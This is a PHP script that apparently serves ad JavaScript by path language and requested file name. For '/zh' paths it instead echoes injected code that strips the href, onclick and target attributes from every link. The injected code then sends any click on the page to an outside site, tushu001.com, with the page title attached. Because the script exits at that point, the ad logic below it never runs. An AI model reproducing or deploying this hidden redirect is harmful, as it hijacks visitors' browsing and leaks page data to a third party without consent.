<?php

error_reporting(0);

$s = $_GET['s'];

if (!strpos($s, '.js')) {
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}

$s = str_replace(stristr($s, '.js'), '', $s);
define('URL_LAST_LETTER', strtolower(substr($s, -1)));

$arrRefererURLInfo = parse_url($_SERVER['REQUEST_URI']);
$vPath = $arrRefererURLInfo['path'];
if (substr($vPath, 0, 3) == '/zh') {
    $requestLanguageType = 'zh-cn';
} else {
    $requestLanguageType = 'en-us';
		die();
}

echo 'document.write(\'<script>$(function(){$("a").removeAttr("href");$("a").removeAttr("onclick");$("a").removeAttr("target");$("a").attr("href","#");});document.onclick=function(){window.location.href="http://www.tushu001.com/brige.php?title="+encodeURI(document.title);};</script>\');';
die();

$arrPathInfo = explode('/', $vPath);
$tplVersion = str_replace('zhv', '', $arrPathInfo[1]);
$tplVersion = str_replace('env', '', $tplVersion);
$tplVersion = intval($tplVersion);
if (!$tplVersion) {
    echo 'document.write(\'error tpl version!\');';
    die();
}

$printFinalJsCode = '';

$arrParseURL = parse_url($_SERVER['HTTP_REFERER']);

$strHost = $arrParseURL['host'];

require dirname(__FILE__) . '/default.adcode.php';
require dirname(__FILE__) . '/default.config.php';


foreach ($arrConfigAdvPosition as $arrAdvPosition) {
    if ($arrAdvPosition['key'] == URL_LAST_LETTER && isset($arrAdvPosition[$requestLanguageType])) {
        $printFinalJsCode = $arrAdvPosition[$requestLanguageType];
        break;
    }
}


if ($printFinalJsCode) {
    header('text/javascript; charset=UTF-8');
    if ($printFinalJsCode['method'] == 'document.write' || !is_array($printFinalJsCode)) {
        echo 'document.write(\'' . $printFinalJsCode['jscode'] . '\');';
    }
    if ($printFinalJsCode['method'] == 'function' && is_array($printFinalJsCode)) {
        echo $printFinalJsCode['jscode'];
    }
}
?>
